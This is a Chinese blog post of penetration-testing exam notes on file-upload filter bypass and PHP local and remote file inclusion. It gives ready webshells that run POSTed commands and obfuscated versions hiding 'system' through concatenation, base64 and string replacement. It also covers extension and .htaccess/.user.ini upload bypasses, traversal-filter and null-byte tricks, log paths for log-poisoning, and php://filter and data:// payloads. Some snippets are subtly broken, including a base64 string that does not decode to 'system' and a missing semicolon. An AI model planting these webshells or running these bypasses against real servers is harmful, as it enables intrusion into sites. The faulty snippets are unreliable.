PTE笔记:文件上传与文件包含

目录

文件上传

文件包含

PHP相关函数

本地文件包含

远程文件包含

PHP伪协议


文件上传

1)白名单过滤,只允许上传xx,这时候就做一个图片码,将图片码上传上去,用bp抓包,在repeater中修改后缀,然后发送,再去浏览器查看

2)黑名单过滤,不允许上传php、xx等,这时候,上传一个图片码,用bp抓包,在repeater中修改后缀为php3、php4、php5、phtml等;

3.文件有三处修改:后缀、content-type、内容(文件要真的是图片的前缀)

4.不能上传php、php3、php4、phtml等(通过bp也不行),尝试修改配置文件

  • 修改htaccess
  • 修改user.ini

5.函数过滤

选择其他函数,替换eval(),system()、assert()函数

<?php @eval($_POST["t"])?>    # t的值为函数,如t=system(ls ../)

<?php @system($_POST["t"])?>  # t的值为命令,如 t= ls

拼接--Eval()不支持

<?php

$a='sys';

$b='tem';

$c=$a.$b;

$c($_POST["c"])  ;

?>

编码绕过--eval不支持

<?php

$a=base64_decode("c31zdGVt");  # c31zdGVt是system的base64编码后的

$a($_POST["c"]);

?>

替换函数str_replace(a,b,c) 将c中a字符串替换为b

<?php

$a=str_replace('abc','ste','syabcm')

$a($_POST["c"]);

?>

 

文件包含

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

PHP相关函数

include

include_once

require

require_once

fopen

readfile

本地文件包含

目录跳转-->../

针对../过滤-->双写..././-->..\

针对添加指定后缀的-->使用%00

针对添加前置目录的-->多使用一次..\

本地文件包含getshell

常见的web日志路径

/var/log/apache2/access.log

/var/log/httpd/access.log

/var/log/nginx/access.log

远程文件包含

PHP伪协议

http://

ftp://

php://filter

phar://

data://

php://filter

可获取指定文件的源码,当它与文件包含函数结合时,可被当做php文件执行;

常见用法示例:

PHP://filter/read=convert.base64-encode/resource=flag.php

data://

数据流封装,以传递特定格式的数据。可以让用户控制输入流,当它与文件包含函数结合时,用户输入的data数据流可被当做php文件执行。

常见用例示例:

data://text/plain,数据流

data://text/plain ;base64,base64编码格式的数据流

例题:

  • 18
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值